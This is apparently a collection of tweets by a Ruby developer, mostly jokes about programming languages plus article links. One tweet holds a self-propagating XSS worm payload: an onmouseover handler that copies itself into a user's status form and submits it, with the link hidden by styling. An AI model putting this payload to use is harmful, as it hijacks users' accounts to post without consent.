is it bad that when I heard "the pope resigned" I first thought @tpope had switched to Emacs?

Ruby 2.0.0-rc1 is coming!  http://mla.n-z.jp/~w3ml/w3ml.cgi/ruby-changes/msg/26682 …

placeholders are for examples and clarification, not labels. iOS gets it right: pic.twitter.com/iL4dErKn

New article: Refinements in Ruby — http://timeless.judofyr.net/refinements-in-ruby (Hacker News: http://bit.ly/gNr8VA)

so, what's your uptime penis? uptime | ruby -ne'$_=~/p /;puts ?8+?=*$'\'.to_i+?D

I just started a Twitter worm

Camping vs Sinatra: http://librelist.com/browser//hacketyhack/2010/7/20/on-camping-vs-sinatra/

nah, I'm waiting for Google Monocle

wicked cool post by @steveklabnik on Literal Programming: http://t.co/f4fnU4z

remember folks: ruby/perl/python packages in Linux distros are for scripts in the distro. the fact that you can use it too is a side-effect.

http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/

I got 99 problems, and yes, I think it's fair to blame XML for the majority of them

Some people, when confronted with an obvious thought, think "I know, I'll disguise it as a 'some people'-joke". Now they have retweets.

hipster hacker: complains about projects (by well-respected authors) that uses `curl … | sh`; runs .pkg and setup.exe from random companies.

PHP must be the only gateway drug that's actually worse than what comes later

nice. Rails 4 will have a dedicated gem called "bag-of-exploits" that you can easily enable:  https://github.com/rails/actionpack-xml_parser …

Comic Sans with serifs: http://t.co/IFUagcBR

if Ruby wants to compete with Node.js, we need to get a grip on our async libraries; right now it's a mess.

can we please stop saying that JavaScript is a Lisp? Lisp is way more than anonymous functions...

there are no "design errors" in PHP. that would imply that it actually was designed.